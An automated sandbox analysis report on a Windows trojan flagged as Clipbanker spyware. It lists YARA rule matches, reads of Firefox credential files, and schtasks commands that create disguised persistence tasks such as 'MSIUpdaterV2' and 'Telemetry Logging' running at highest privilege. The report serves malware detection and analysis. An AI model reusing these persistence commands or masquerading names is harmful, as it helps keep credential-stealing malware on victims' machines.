Source: 7.2.zy4GXi5yvCrsiS0ulH8Z.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 7.2.zy4GXi5yvCrsiS0ulH8Z.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 22.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 22.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 25.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 25.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 29.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 29.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000001D.00000002.2664724188.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001D.00000002.2664724188.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000007.00000002.2225780219.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000007.00000002.2225780219.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000001C.00000002.2581861448.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001C.00000002.2581861448.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000015.00000002.2271675447.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000015.00000002.2271675447.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000000E.00000002.4491626286.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000000E.00000002.4491626286.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000017.00000002.2280442151.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000017.00000002.2280442151.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000018.00000002.2338388724.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000018.00000002.2338388724.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000016.00000002.2280260250.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000016.00000002.2280260250.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000019.00000002.2418733700.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000019.00000002.2418733700.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000001B.00000002.2502350940.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001B.00000002.2502350940.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000009.00000002.2237350330.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000009.00000002.2237350330.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000000B.00000002.2241108576.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000000B.00000002.2241108576.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@36/36@3/5

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DA50E6 CreateToolhelp32Snapshot,

0_2_00DA50E6

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\signons.sqlite

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Mutant created: \Sessions\1\BaseNamedObjects\slickSlideAnd2
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2260:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5560:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2952:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7084:120:WilError_03
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Mutant created: \Sessions\1\BaseNamedObjects\jW5fQ5e-C7lR7tC1q
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5428:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5516:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4072:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\trixyBqgSBuerctg2

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000000.00000003.2098219933.00000000062FA000.00000004.00000020.00020000.00000000.sdmp, _019ogo7XT61Login Data.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 31%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe "C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe"
Source: C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\hcMSmyGUCSEFc2FAKlzc.exe "C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\hcMSmyGUCSEFc2FAKlzc.exe"
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe "C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe "C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe "C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe "C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe "C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG" /sc ONLOGON /rl HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe "C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c HR" /sc HOURLY /rl HIGHEST	Jump to behavior
